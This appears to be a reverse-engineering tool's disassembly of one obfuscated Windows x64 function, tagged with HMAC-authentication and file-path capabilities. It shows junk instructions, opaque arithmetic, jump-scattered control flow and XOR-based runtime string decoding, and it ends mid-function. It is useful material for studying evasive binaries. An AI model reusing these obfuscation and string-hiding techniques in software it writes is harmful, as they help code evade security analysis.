Function at 0x14009d970
Capabilities:
Authenticate hmac
Get common file path

Disassembly:
xchg rsp, rax
mov rsp, rax
xchg rsp, rax
mov qword [rax + 0x10], rbx
jmp 0x14009db6b
movups xmmword [rsi - 0x60], xmm0
xchg rbp, rsi
movups xmm1, xmmword [0x14011cf50]
xchg rcx, rcx
xchg r8, rbp
movups xmmword [r8 - 0x50], xmm1
xchg r8, rbp
jmp 0x14009db91
mov dword [rsp - 0x18], 0x1191e92f
movdqa xmm5, xmmword [0x140118390]
movdqa xmm4, xmmword [0x1401194f0]
movd xmm6, r12d
movdqa xmm7, xmmword [str.5555]
mov dword [rsp - 0x44], 0x6e9e84fd
movd xmm8, r14d
jmp 0x14009def1
xchg r12, rax
xchg rcx, rax
movaps xmmword [rcx - 0x68], xmm9
xchg rcx, rax
mov rax, qword [0x1402557f0]
jmp 0x14009de54
add ax, 0x38e1
xor word [r8], ax
xchg r10, r10
inc edi
lea r8, [r8 + 2]
cmp edi, 0x32
jmp 0x14009daa6
mov byte [rsp + 0x30], recv
sub byte [rsp + 0x30], 9
add byte [rsp + 0x30], 0x12
sub byte [rsp + 0x30], 8
add byte [rsp + 0x30], 3
xor byte [rsp + 0x30], 0x4c
jmp 0x14009dd13
xchg rcx, r11
mov qword [rbp - 0x30], r11
xchg rcx, r11
mov eax, dword [0x14011cef8]
jmp 0x14009dd39
mov dword [rsp - 0x40], 0x511e8173
lea r8, [rsp + 0x60]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov dword [rsp - 0x38], edi
mov eax, 0xdb27a5f
xor eax, 0x6c0d2cd
jmp 0x14009dde2
xchg rsp, rsp
mov ebx, eax
xor edi, edi
lea r12d, [rdi + 4]
xchg r13, r13
jmp 0x14009dd7d
mov dword [rsp - 0x40], 0x50560ffb
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14009db48
shr eax, 5
shr eax, 3
shr eax, 1
add edx, eax
xchg r9, r9
jmp 0x14009dc4b
mov dword [rsp - 0x34], esp
jl 0x14009da5d
lea rcx, [rsp + 0x60]
call fcn.1400ad210
jmp 0x14009de90
mov dword [rsp - 0x18], 0x247cc7ba
call fcn.1400af9e0
test al, al
jne 0x14009fc08
mov ecx, 0x6e6b7630
sub ecx, 0x254a3c5
jmp 0x14009dcb0
je 0x14009ecf9
mov edx, 0x3d03e3bb
sub edx, 0x396e454a
jmp 0x14009dbe2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
mov dword [rsp - 0x14], edi
jmp 0x14009db59
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov r14, r14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
jmp 0x14009db7c
sub ecx, 0x173f981
add ecx, 0x1b83004d
call fcn.1400af5a0
jmp 0x14009ddc5
psrld xmm0, xmm8
paddd xmm0, xmm1
xchg rdx, rdx
jmp 0x14009dc05
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14009da7f
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rdi
push rbp
jmp 0x14009dd6e
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x14], esp
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14009de05
mov eax, dword [0x14011cf60]
mov dword [rsp - 0x3c], edx
mov dword [rbp - 0x40], eax
cmp ecx, 2
jl 0x14009ddbd
jmp 0x14009d9a1
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov dword [rsp - 0x10], 0x1a2f3aa
movdqa xmm1, xmm2
jmp 0x14009dafa
add eax, edx
xchg rsp, rsp
test edx, eax
jne 0x14009df0c
cmp ebx, 0xc000035f
mov dword [rsp - 0x28], ebp
jmp 0x14009deb3
add edx, 0x327482f3
add edx, 0xc1e255f
add edx, 0x2ac7b706
sub edx, 0x6bd95e7b
add edx, 0x7ee960b2
jmp 0x14009dbc6
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x30], 0x52eeb630
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
jmp 0x14009decf
add edi, 0x25ef2895
lea rcx, [rcx + 0x10]
cmp edi, 0x30
jl 0x14009dc64
mov dword [rsp - 0x38], ebp
jmp 0x14009ddb4
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, di
xchg r10, r10
sub ax, cx
sub ax, 0x38af
jmp 0x14009d9ef
nop
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov dword [rsp - 0x30], 0x69d11433
jmp 0x14009db10
sub rsp, 8
mov qword [rsp], r15
lea rbp, [rax - 0x298]
add rsp, 0xfffffffffffffc90
xchg r10, rax
movaps xmmword [r10 - 0x38], xmm6
xchg r10, rax
jmp 0x14009de1b
xchg r13, r15
mov r15, rcx
xchg r13, r15
jmp 0x14009da2b
sub ecx, 0x6be8d4ed
xor ecx, 0x7e6faeb4
xor ecx, 0x1496ec10
sub ecx, 0x60e8a23f
add ecx, 0x3992f99d
jmp 0x14009db32
movups xmm1, xmmword [0x14011cf10]
movups xmmword [rsp + 0x70], xmm1
mov dword [rsp - 0x40], 0x3c5dea80
movups xmm0, xmmword [0x14011cf20]
xchg rbp, rsi
jmp 0x14009de30
xor byte [rsp + 0x35], 0x37
mov dword [rsp - 0xc], 0x1d5e819c
xor al, 0x38
mov byte [rsp + 0x36], al
lea rcx, [rsp + 0x30]
jmp 0x14009dabf
xor byte [rsp + 0x30], 0x41
add byte [rsp + 0x30], 0x5b
xor byte [rsp + 0x31], 0x33
xchg rsp, rsp
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor byte [rsp + 0x34], 0x36
jmp 0x14009dcf6
mov dword [rsp + 0x30], eax
xchg r11, r11
movzx eax, word [0x14011cefc]
mov word [rsp + 0x34], ax
movzx eax, byte [0x14011cefe]
mov r8, r8
jmp 0x14009da08
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14009de6a
push r12
push r13
mov r12, r12
push r14
nop
jmp 0x14009dc7e
lea r14d, [rdi + 0x1f]
lea r15, [rdi - 1]
mov ecx, dword [0x1402557d0]
xchg r14, r14
cmp eax, 0xff
jmp 0x14009dae4
sar edx, 2
sar edx, 1
sar edx, 1
mov eax, edx
mov dword [rsp - 0x18], 0x61e836dd
shr eax, 0xa
shr eax, 0xc
jmp 0x14009da94
cmp edi, 0x32
jge 0x14009dab0
movsxd rax, edi
jmp 0x14009da40
mov dword [rsp - 0x44], 0x61ecbc6b
test al, al
jne 0x14009fc08
mov rcx, r13
call fcn.1400a3c30
jmp 0x14009da6c
xor eax, 0xf80eda4
add eax, 0x6c6b2e34
xor eax, 0x64342943
add eax, 0x61d93dc3
sub eax, 0x29fa23ff
imul edi
xchg r15, r15
jmp 0x14009dd98
psrld xmm0, xmm8
paddd xmm0, xmm1
mov rsi, rsi
pmulld xmm0, xmm7
jmp 0x14009dd5b
xchg rcx, rax
movaps xmmword [rcx - 0x48], xmm7
xchg rcx, rax
xchg r12, rax
movaps xmmword [r12 - 0x58], xmm8
jmp 0x14009d9d8
movups xmmword [rsi - 0x80], xmm0
xchg rbp, rsi
movups xmm1, xmmword [0x14011cf30]
movups xmmword [rbp - 0x70], xmm1
mov r14, r14
movups xmm0, xmmword [0x14011cf40]
xchg rbp, rsi
jmp 0x14009d980
xor rax, rsp
mov rsi, rsi
xchg r9, rax
mov qword [rbp + 0x220], r9
xchg r9, rax
jmp 0x14009dca2
mov r11, r11
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
mov dword [rsp - 0x10], 0x11a109f7
movq xmm0, qword [rcx]
pxor xmm3, xmm0
jmp 0x14009de9f
mov dword [rsp - 0x24], 0x7383f80f
mov eax, ebx
jmp 0x14009fc89
movq qword [rcx], xmm3
lea eax, [rdi + 4]
mov dword [rsp - 0xc], esi
movd xmm2, eax
jmp 0x14009dbac
je 0x14009df0c
movups xmm0, xmmword [0x14011cf00]
xchg rsi, rsp
movups xmmword [rsi + 0x60], xmm0
xchg rsi, rsp
jmp 0x14009dcd3
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
mov dword [rsp - 0x44], ecx
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
nop
sub edi, 0x25ef288d
jmp 0x14009dc2f
movdqa xmm9, xmmword [0x14011a260]
lea rcx, [rsp + 0x60]
mov dword [rsp - 0x10], 0x6e746ea0
jmp 0x14009dc63
movups xmm0, xmmword [0x14011cf68]
xchg rsp, r15
movups xmmword [r15 + 0x60], xmm0
xchg rsp, r15
jmp 0x14009df3c
psrad xmm1, xmm6
xchg r14, r14
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14009e101
movups xmm1, xmmword [0x14011cf78]
xchg r11, rsp
movups xmmword [r11 + 0x70], xmm1
xchg r11, rsp
movups xmm0, xmmword [0x14011cf88]
mov rsp, rsp
jmp 0x14009e03f
xchg rdx, rdx
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x44], ebx
jmp 0x14009e0c4
mov dword [rsp - 0x24], 0x73f3d936
jl 0x14009e133
movdqa xmm5, xmmword [0x140118390]
mov edx, edi
mov dword [rsp - 0x28], edi
jmp 0x14009dfc5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
jmp 0x14009e06c
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
jmp 0x14009df5d
movdqa xmm4, xmmword [0x1401194f0]
movd xmm6, r12d
movdqa xmm7, xmmword [str.5555]
movd xmm8, r14d
jmp 0x14009e018
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x24], esi
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14009e0f0
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
xchg r10, r10
jmp 0x14009e086
mov dword [rsp - 0x10], 0x2ac118a0
movdqa xmm9, xmmword [0x14011a260]
lea rcx, [rsp + 0x60]
movd xmm2, edx
mov r14, r14
pshufd xmm2, xmm2, 0
jmp 0x14009dfe4
xchg r12, rbp
movups xmmword [r12 - 0x80], xmm0
xchg r12, rbp
mov r8d, edi
cmp ecx, 2
jmp 0x14009df7a
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x2c], 0x3bec325a
jmp 0x14009df9b
xchg r13, r13
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
jmp 0x14009e09e
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
mov rsp, rsp
movq qword [rcx], xmm3
jmp 0x14009e124
mov dword [rsp - 0x24], 0x6e1019eb
movq qword [rcx + 8], xmm3
nop
add edx, 0x6d239c9b
sub edx, 0x6d239c93
lea rcx, [rcx + 0x10]
cmp edx, 0x18
jmp 0x14009e0e2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
xchg rsp, rsp
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14009e056
jl 0x14009e02e
mov rbp, rbp
jmp 0x14009e14d
xchg r13, r13
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14009df23
mov dword [rsp - 0x14], 0x9712b2d
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov rbp, rbp
pshufhw xmm1, xmm0, 0xd8
jmp 0x14009e006
lea eax, [rdx + 4]
movd xmm2, eax
mov r13, r13
jmp 0x14009dfb3
lea r9, [rsp + 0x60]
mov eax, 0x567311ab
sub eax, 0x4b4e4e19
jmp 0x14009e20c
jl 0x14009e138
xchg rdi, rbx
mov qword [rsp + 0x38], rbx
jmp 0x14009e23b
cmovae rdx, qword [rsp + 0x38]
xchg r12, r12
xchg r8, r15
mov r15, qword [rsp + 0x48]
xchg r15, r8
jmp 0x14009e1d6
je 0x14009e1e4
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
jmp 0x14009e15a
xor qword [rsp + 0x50], 0x47f1716e
sub qword [rsp + 0x50], 0x10550dd5
mov word [rsp + 0x38], di
xchg rdi, rdi
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
jmp 0x14009e397
jb 0x14009e2dd
lea rdx, [rdx*2 + 2]
mov dword [rsp - 0x34], ebx
mov rcx, qword [rsp + 0x38]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
jmp 0x14009e357
call fcn.14000eac0
mov dword [rsp - 0x28], 0x6efd4dda
nop
xchg rdx, r14
mov r14, qword [rsp + 0x50]
xchg rdx, r14
cmp rdx, 8
jmp 0x14009e1b3
mov dword [rsp - 0x40], 0x66e42855
sub ax, cx
add ax, 0x3dfd
jmp 0x14009e2ef
xor eax, 0x4d9bad38
add eax, 0x1aa90154
xor eax, 0x4170085e
xor eax, 0x79ed5839
sub eax, 0x44b9e179
add eax, 0x1fe67193
mul r8d
jmp 0x14009e2aa
imul rbx, rax, 0x64
jmp 0x14009e805
xchg rbx, rdi
mov qword [rsp + 0x48], rdi
mov dword [rsp - 0x30], edi
mov qword [rsp + 0x50], 0x4cf0f708
sub qword [rsp + 0x50], 0x21a93e3a
xor qword [rsp + 0x50], 0x10a9e8ac
xor qword [rsp + 0x50], 0x6c4a2cd0
jmp 0x14009e189
lea r13d, [r14 + 0xf]
mov r15d, dword [0x1402557d0]
call fcn.1400e7d0c
mov dword [rsp - 0x10], 0x2e5f0ae4
jmp 0x14009e28d
mov rbx, rax
call fcn.1400e7cf0
cmp rbx, 0x989680
jne 0x14009e3d2
xchg r8, r8
jmp 0x14009e232
mov r9, r9
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
mov dword [rsp - 0x2c], ebx
shr eax, 5
jmp 0x14009e348
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009fcf7
mov dword [rsp - 0x34], 0x5833ec13
call fcn.1400e8bd0
cmp dword [0x140257c0c], 0
je 0x14009ecf9
jmp 0x14009e317
sub ax, 0x3dcb
xor word [r9], ax
mov dword [rsp - 0x3c], 0x53893c45
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x18
mov dword [rsp - 0x3c], 0x7241cc66
jmp 0x14009e147
mov rdi, rdi
mov r14d, 0x72741b3
xor r14d, 0x4a2a7c0c
sub r14d, 0x1c113c54
add r14d, 0x44b2423
xor r14d, 0x6eb2decd
sub r14d, 0x5bf5fb33
jmp 0x14009e270
movzx eax, ax
imul ecx, eax, 0x35
movzx eax, r8w
jmp 0x14009e1f8
cmp rdx, 0x1000
mov dword [rsp - 0x24], edx
jb 0x14009e2d8
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
mov dword [rsp - 0x14], ecx
jmp 0x14009e2c2
nop
mov rcx, qword [0x140257af0]
sub rcx, 0x4956f9d0
add rcx, 0x4956fb98
jmp 0x14009e3c1
cmp word [rax + r8*2], di
mov dword [rsp - 0x14], 0x6193a80d
jne 0x14009e1ab
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.14000eac0
xchg rsp, rsp
jmp 0x14009e37c
lea rax, [rsp + 0x38]
cmp rcx, rax
mov dword [rsp - 0x30], esi
jmp 0x14009e173
cqo
mov dword [rsp - 0x34], ebp
idiv rbx
imul rcx, rax, 0x3b9aca00
jmp 0x14009e7ed
packuswb xmm2, xmm2
movd xmm0, edx
mov dword [rsp - 0x30], ecx
jmp 0x14009e5f6
cmp r8d, 0x40
jl 0x14009e60e
mov dword [rsp - 0x34], ecx
cmp r8d, 0x42
jge 0x14009e90e
jmp 0x14009e7d6
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x34], ebp
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14009e7ac
movdqa xmm0, xmmword [0x14011a270]
mov dword [rsp - 0x14], ecx
xchg r10, rbp
movdqa xmmword [r10 - 0x20], xmm0
xchg rbp, r10
jmp 0x14009e733
movd dword [rcx], xmm2
mov dword [rsp - 0x30], 0x53c2f540
add r8d, 8
lea rcx, [rcx + 8]
jmp 0x14009e3f8
xchg rsp, rsp
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x14011cfc0]
xchg r9, rsp
movups xmmword [r9 + 0x70], xmm1
xchg rsp, r9
jmp 0x14009e7c2
punpckhdq xmm0, xmm3
mov dword [rsp - 0x2c], 0x4fbb939a
pmuldq xmm0, xmm4
jmp 0x14009e55b
movdqa xmm5, xmmword [0x140118390]
mov edx, edi
movdqa xmm4, xmmword [0x1401194f0]
mov dword [rsp - 0x28], esp
movd xmm6, r12d
movdqa xmm7, xmmword [str.5555]
movd xmm8, r13d
jmp 0x14009e43a
xchg rsp, rbx
movsd qword [rbx + 0x48], xmm1
xchg rsp, rbx
cmp byte [0x14011cfaf], 0
jmp 0x14009e92d
movdqa xmmword [rbx - 0x20], xmm0
xchg rbp, rbx
lea rcx, [rsp + 0x64]
mov r13, r13
mov edx, dword [rbp - 0x20]
jmp 0x14009e607
add eax, 0x24df54e5
sub eax, 0x28ce7299
xor eax, 0x463eefab
jmp 0x14009e63d
cmp edx, 0x18
jl 0x14009e742
mov dword [rsp - 0x3c], 0x6c0b90b4
jmp 0x14009eaf6
xchg r11, r11
sub al, cl
neg al
add al, 0xce
neg al
xor byte [r9], al
mov dword [rsp - 0x20], 0x6f54888e
jmp 0x14009e793
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xchg r10, r10
jmp 0x14009e5b0
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x34], 0x4358683e
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14009e765
movd xmm3, eax
pshufd xmm3, xmm3, 0
mov r8, r8
jmp 0x14009e8b1
mov rsi, rsi
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x40], 0x74867dc4
pmuldq xmm0, xmm4
jmp 0x14009e68c
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x24], 0x1f669de6
movdqa xmm0, xmm1
jmp 0x14009e415
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov r8, r8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401183d0]
jmp 0x14009e88f
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
jmp 0x14009e457
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
xchg rdi, rdi
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14009e58e
psrld xmm0, xmm8
paddd xmm0, xmm1
xchg rdx, rdx
jmp 0x14009e5ce
xor eax, 0x20e6c9dd
imul r8d
xchg rsi, rsi
sar edx, 3
sar edx, 1
jmp 0x14009e785
mov dword [rsp - 0x38], esi
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401183d0]
jmp 0x14009e3e7
xchg r9, rbp
movups xmm1, xmmword [0x14011cfe0]
mov dword [rsp - 0x34], edi
xchg rbp, rsi
movups xmmword [rsi - 0x70], xmm1
xchg rsi, rbp
movzx eax, word [0x14011cff0]
jmp 0x14009e86c
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
xchg rsp, rsp
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14009e811
movdqa xmm4, xmmword [0x1401194f0]
movd xmm6, r12d
movdqa xmm7, xmmword [str.5555]
mov dword [rsp - 0x30], 0x788cb0e3
movd xmm8, r13d
movdqa xmm0, xmmword [0x14011a270]
xchg rbp, rbx
jmp 0x14009e4e9
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401183d0]
packuswb xmm2, xmm2
mov rsi, rsi
movd xmm0, edx
jmp 0x14009e96e
add edx, eax
mov dword [rsp - 0x28], 0x92b8ae6
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
jmp 0x14009e52b
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
xchg r11, r11
movd xmm3, eax
pshufd xmm3, xmm3, 0
jmp 0x14009e98d
lea rcx, [rsp + 0x3c]
mov dword [rsp - 0x24], edx
mov r8d, dword [rbp - 0x20]
nop
movd xmm2, edx
jmp 0x14009e857
cmp r15d, 2
jl 0x14009e7d6
xchg rsi, rsi
movdqa xmm5, xmmword [0x140118390]
jmp 0x14009e6ae
pmulld xmm0, xmm7
mov dword [rsp - 0x2c], 0x3ff4dc3e
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14009e652
mov eax, edx
shr eax, 0x1d
shr eax, 1
shr eax, 1
jmp 0x14009e6fd
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
xchg r15, r15
jl 0x14009e839
jmp 0x14009e90e
mov dword [rsp - 0x30], ebp
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401183d0]
jmp 0x14009e8ce
movups xmm0, xmmword [0x14011cfd0]
xchg rbp, r9
movups xmmword [r9 - 0x80], xmm0
jmp 0x14009e668
movsxd rax, r8d
lea r9, [rsp + 0x60]
xchg rbp, rbp
add r9, rax
nop dword [rax]
jmp 0x14009e82f
imul rax, rdx, 0x3b9aca00
cqo
mov dword [rsp - 0xc], 0xdbf7c50
idiv rbx
lea rbx, [rax + rcx]
movups xmm0, xmmword [0x14011cfb0]
jmp 0x14009e470
mov r13, r13
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x2c], 0x3c433ab2
jmp 0x14009e6e0
nop word [rax + rax]
mov eax, 0x3f42c3e6
add eax, 0x3acfc063
sub eax, 0x64f46d6f
add eax, 0xfd84757
add eax, 0xa89151e
jmp 0x14009e501
xchg rbx, rbx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
jmp 0x14009e8f4
mov rbp, rbp
mov word [rbp - 0x60], ax
mov r8d, edi
jmp 0x14009e74b
mov dword [rsp - 0x10], 0x106341c8
add edx, 8
lea rcx, [rcx + 8]
jmp 0x14009e515
packuswb xmm2, xmm2
mov r15, r15
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
mov dword [rsp - 0x24], 0x391f2416
jmp 0x14009e716
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
mov r8, r8
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
jmp 0x14009e48f
packuswb xmm2, xmm2
movd xmm0, r8d
mov dword [rsp - 0x2c], 0x26bba383
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
jmp 0x14009e87b
punpckldq xmm1, xmm2
mov dword [rsp - 0x1c], ebx
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14009e951
movups xmm0, xmmword [0x14011cf98]
xchg r14, rsp
movups xmmword [r14 + 0x38], xmm0
xchg r14, rsp
movsd xmm1, qword [0x14011cfa8]
jmp 0x14009e4d2
mov dword [rsp - 0x30], 0x30efb3f9
je 0x14009eaf6
mov r8d, edi
cmp r15d, 2
jl 0x14009e9a2
mov dword [rsp - 0x30], edi
jmp 0x14009e4a5
mov rdi, rdi
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x30], ebx
movdqa xmm0, xmm1
jmp 0x14009e62c
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
mov dword [rsp - 0x20], ebx
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
jmp 0x14009e57d
paddd xmm3, xmm5
movdqa xmm1, xmm3
mov dword [rsp - 0x14], esp
punpckldq xmm1, xmm3
jmp 0x14009e546
lea r9, [rsp + 0x38]
nop word [rax + rax]
mov dword [rsp - 0x2c], esi
mov eax, 0x1b01e9f7
add eax, 0x105286fb
jmp 0x14009ea6c
xchg r8, r8
mov eax, r8d
sub eax, edx
shr eax, 1
mov dword [rsp - 0x20], 0x62f2b443
add eax, edx
shr eax, 3
jmp 0x14009e9ff
call fcn.1400e7cf0
cmp rsi, 0x989680
mov dword [rsp - 0x28], edi
jne 0x14009eb05
imul rcx, rax, 0x64
jmp 0x14009eacd
shr eax, 1
shr eax, 1
movsx eax, al
jmp 0x14009ea92
add ecx, 0x161068dc
xor ecx, 0x48f83812
call fcn.1400afab0
call fcn.1400e7d0c
mov dword [rsp - 0x38], edi
mov rsi, rax
jmp 0x14009e9e0
add ecx, 0x20e8826a
add ecx, 0xfe1e8ed
xor ecx, 0xc618755
sub ecx, 0x5eea7a6b
add ecx, 0x154424d8
jmp 0x14009ea0b
xor edx, 0x76158d62
sub edx, 0x67d37948
mov ecx, 0x71919826
xor ecx, 0x31b4dcab
jmp 0x14009ea2d
xor eax, 0x648a8ebc
sub eax, 0x4c6611ba
add eax, 0x178dfca
add eax, 0x69c47fd4
xor eax, 0xbbc9367
sub eax, 0x2fe90fa2
mul r8d
jmp 0x14009e9c4
imul ecx, eax, 0x35
movzx eax, r8b
xchg r10, r10
sub al, cl
jmp 0x14009ead2
mov rdi, rdi
lea r8, [rsp + 0x38]
mov edx, 0x7bbe57d3
sub edx, 0x24723614
sub edx, 0x1c3258b6
add edx, 0x3d385a84
sub edx, 0x668f2f63
jmp 0x14009ea50
jmp 0x14009ee78
sub al, 0xf6
add al, 0x28
xor byte [r9], al
mov dword [rsp - 0x20], esi
jmp 0x14009eae2
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
mov rdx, rdx
jl 0x14009e9b5
mov dword [rsp + 0x20], r14d
lea r9, [rsp + 0x60]
jmp 0x14009eaa3
cqo
xchg rsi, rsi
idiv rsi
jmp 0x14009ed49
cmp word [rax + r9*2], 0x5c
je 0x14009efb1
lea rax, [rbp - 0x10]
xchg rdi, rdi
jmp 0x14009ecc8
mov rax, rdi
xchg rdx, rdi
shr rax, 0x34
shr rax, 5
shr rax, 5
shr rax, 1
add rdx, rax
jmp 0x14009edeb
cmovae rax, rdx
lea rbx, [rax + r9*2]
xchg rbx, rbx
lea rcx, [rbx + 2]
jmp 0x14009ee1d
jbe 0x14009fcde
lea rax, [rbp - 0x10]
xchg rbp, rbp
jmp 0x14009ebf2
add eax, 0x4241d815
sub eax, 0x69bdd331
mov word [rbx], ax
jmp 0x14009ee5b
call fcn.14000eac0
mov r8, qword [rbp]
lea r9, [r8 - 1]
mov dword [rsp - 0x1c], edx
cmp r8, r9
jmp 0x14009eb5b
sub ecx, 0x2788ae48
xor ecx, 0x3f299830
add ecx, 0x2373163
xor ecx, 0xfff1cdc
add ecx, 0x5a356bd7
jmp 0x14009ed74
xchg rsi, rax
mov qword [rbp], rsi
xchg rsi, rax
lea rax, [rbp - 0x10]
mov dword [rsp - 0x10], ebp
cmp rcx, 8
jmp 0x14009eb47
xor eax, 0x244ac1d2
add eax, 0x4ee459af
sub eax, 0x15fcbedf
sub eax, 0x436e5b85
add eax, 0x25d77edf
jmp 0x14009eb6d
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
cmp rcx, 8
mov rdi, rdi
cmovae rax, rdx
jmp 0x14009eb12
xor qword [rbp + 8], 0x338efa8c
add qword [rbp + 8], 0x5d78a2
add qword [rbp + 8], 0x5ed1d90d
jmp 0x14009ec61
movabs r15, 0xffffffff04fa4052
add r15, 0x6628e980
sub r15, 0x545ac83f
add r15, 0x3afa0738
jmp 0x14009ed91
cmp rax, 1
jb 0x14009eea2
lea rax, [r8 + 1]
mov r12, r12
jmp 0x14009ebbb
sub qword [rbp + 8], 0x67a391e8
mov word [rbp - 0x10], di
lea rdx, [rbp + 0x10]
mov r12, r12
jmp 0x14009ec79
mov ecx, 0x5281a29
add ecx, 0x6ea424a6
sub ecx, 0x18fe348c
xor ecx, 0x47b337ff
add ecx, 0x2ed3b40
jmp 0x14009ee40
mov qword [rbp + 8], 0x4e489f4d
add qword [rbp + 8], 0x1fb8c63a
add qword [rbp + 8], 0x7a41e7d
sub qword [rbp + 8], 0x72a71ec4
xor qword [rbp + 8], 0x3904df8c
jmp 0x14009ec0a
cmp rcx, 8
cmovae rax, rdx
lea r9, [rax + r8*2]
mov dword [rsp - 0x20], 0xb7a0258
lea rax, [rbp - 0x10]
cmovae rax, rdx
jmp 0x14009ed0c
mov r13, qword [rbp - 0x30]
mov dword [rsp - 0x40], 0x501d0343
lea r14d, [r15 + 0x20]
mov qword [rbp - 0x10], rdi
xchg rsp, rdi
mov qword [rbp], rsp
xchg rsp, rdi
jmp 0x14009ec9b
sub r9, rax
mov dword [rsp - 0x28], 0x60d93b74
sar r9, 1
cmp r8, r9
jb 0x14009fcde
jmp 0x14009ee0a
add rax, 0x7fffffff
add rax, 0x10dc736e
